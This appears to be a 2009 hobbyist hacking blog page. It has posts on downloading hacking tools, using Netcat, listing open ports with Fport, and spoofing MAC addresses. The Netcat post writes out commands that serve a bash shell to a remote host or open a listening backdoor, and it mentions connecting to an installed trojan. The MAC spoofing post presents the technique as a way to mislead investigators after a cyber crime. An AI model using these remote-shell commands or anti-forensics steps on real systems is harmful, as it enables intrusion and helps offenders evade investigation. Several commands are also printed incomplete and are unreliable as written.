Support The Ethical Hacker !! - Click Here If You Like My Contents !!!

Showing posts with label download. Show all posts
Showing posts with label download. Show all posts

Wednesday, November 18, 2009

DOWNLOAD ALL THE IMPORTANT TOOLS

Some ready to use tools are available in the internet.I'll be naming them and the providing the links for the downloading it.I know that the best practice is to create your own tools for the hacking.But for the beginners this thread will give a kick start in hacking.

NB: Some links may not work . So you may report it and post the new links in the comments.I'm not listing all the best tools here.You can help this blog with your contributions too.
Posted by Swaroop Krishnan S at 11:04 PM 2 comments
Labels: , , , ,

Thursday, November 12, 2009

NetCat- Swiss Army Knife Of Network Utilities

NetCat is the most popular utility used in networking.It can be used to read and write network connections.Thus it is used by bothe admin and criminals. NetCat is a command line utility.
How to use Netcat..?
Browse to the folder in the command prompt (using cd command)  to where you have placed your netcat exe file
After this, you can just type in nc at cmd prompt to use it,

For an example, if you wanted to access a trojan you installed, you would use the command

nc -v


Basic Netcat commands

-e prog inbound program to exec (dangerous!!)
-g gateway source-routing hop point(s), up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft
-i secs delay interval for lines sent, ports scanned
-l listen mode, for inbound connects
-L listen harder, re-listen on socket close
-n numeric-only IP addresses, no DNS
-o file hex dump of traffic
-p port local port number
-r randomize local and remote ports
-s addr local source address
-t answer TELNET negotiation
-u UDP mode
-v verbose (use twice to be more verbose)
-w secs timeout for connects and final net reads
-z zero-I/O mode (used for scanning)
port numbers can be individual or ranges: m-n (inclusive)

Connect to a port on
a remote host

nc remote_host

Connect to multiple
ports on a remote host

nc remote_host ...
For example:
nc www.mysite.com 21 25 80

Listen on a port for
incoming connections
(Also know as A Back Door)

nc -v -l -p

Connect to remote host
and serve a bash shell

nc remote_ip -e /bin/bash
Note that Netcat does not support the -e flag by default. To
make Netcat support the -e flag, it must be re-compiled with
the DGAPING_SECURITY_HOLE option


Listen on a port and
serve a bash shell
upon connect

nc -v -l -p -e /bin/bash
Note that Netcat does not support the -e flag by default. To
make Netcat support the -e flag, it must be re-compiled with
the DGAPING_SECURITY_HOLE option


 
Pipe command output
to a netcat request


| nc remote_host
For example:
echo "GET / HTTP/1.0
(enter)
(enter)
"| nc www.mysite.com 80


Spoofed HTTP Probes
nc www.mysite.com
user agent : swar Browser
Referrer : abc.com
enter
enter
this will generate an error message which will display sensitive info about the target website

What are the applications of NetCat..?

Listening to a port
connecting to a port
File transfer
Chatting
Executing applications
sending spoofed HTTP Probes
Proxy servers
Port scanning

TIPS :
There are better softwares for port scanning.But for a thorough start we can use Netcat first.

To download :
Netcat (windows)
Netcat (unix) 
Posted by Swaroop Krishnan S at 2:41 PM 0 comments
Labels: , ,

Fport Tool - port scanning own system

Fport is a command line based tool which allows you to display all open ports and also maps them to their respective running processes and paths.Thus we can know which port is used by which process.This will aid us in combing out the Trojans running in our system.This is the same information you would see using the 'netstat -an' command in windows, but the data we get is descriptive.

Usage:

C:\>fport

/? usage help
/p sort by port
/a sort by application
/i sort by pid
/ap sort by application path
Posted by Swaroop Krishnan S at 12:07 AM 0 comments
Labels: , ,

Wednesday, November 11, 2009

MAC Address Spoofing

This is the art of changing the MAC address of the network adapter of a host. This is very helpful in misguiding the investigators in the event of a cyber crime.

There are two methods to spoof  the physical address of the host

Method 1:
start > run >  cmd > ipconfig/all

 Now you can analyze the data displayed on the screen to find out with which network adapter you are connecting to the WWW.Please take a note of it.

The next step is to download a tool named Etherchange.This is more of a command line application.
 Run this tool from the command prompt.( I do not believe in spoon feeding even that procedure to you so find it out  yourself )

Now read all the instructions shown in the screen and change the MAC address of your network adapter.


Method 2:

This method is a little complex when compared to Method 1.Here no softwares are there to assist us in spoofing.Also we are doing some simple registry edits.So be careful while dealing with registry of your PC.

Hey nothing to worry here... I was just kidding... so lets see Method 2

start > run > regedit

Now a screen will pop up... Now you are in the registry editor.

Browse the registry for HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002bE10318}

We can see many subkeys under the selection. All are 4 digit subkeys

Now manually determine which key belongs to the Ethernet adapter used to access data.For this  you can search for the term "DriverDesc" key till you find the needed one.
On the right hand pane create or edit the string key named "NetworkAddress". Be sure to make the data type to REG_SZ. The value of the string must be the new MAC address.

Now disable and enable the network adapter and run the ipconfig/all ... you will notice that the MAC address of your system has been spoofed.

This concludes the MAC spoofing
Posted by Swaroop Krishnan S at 11:49 PM 2 comments
Labels: , , , ,
Subscribe to: Posts (Atom)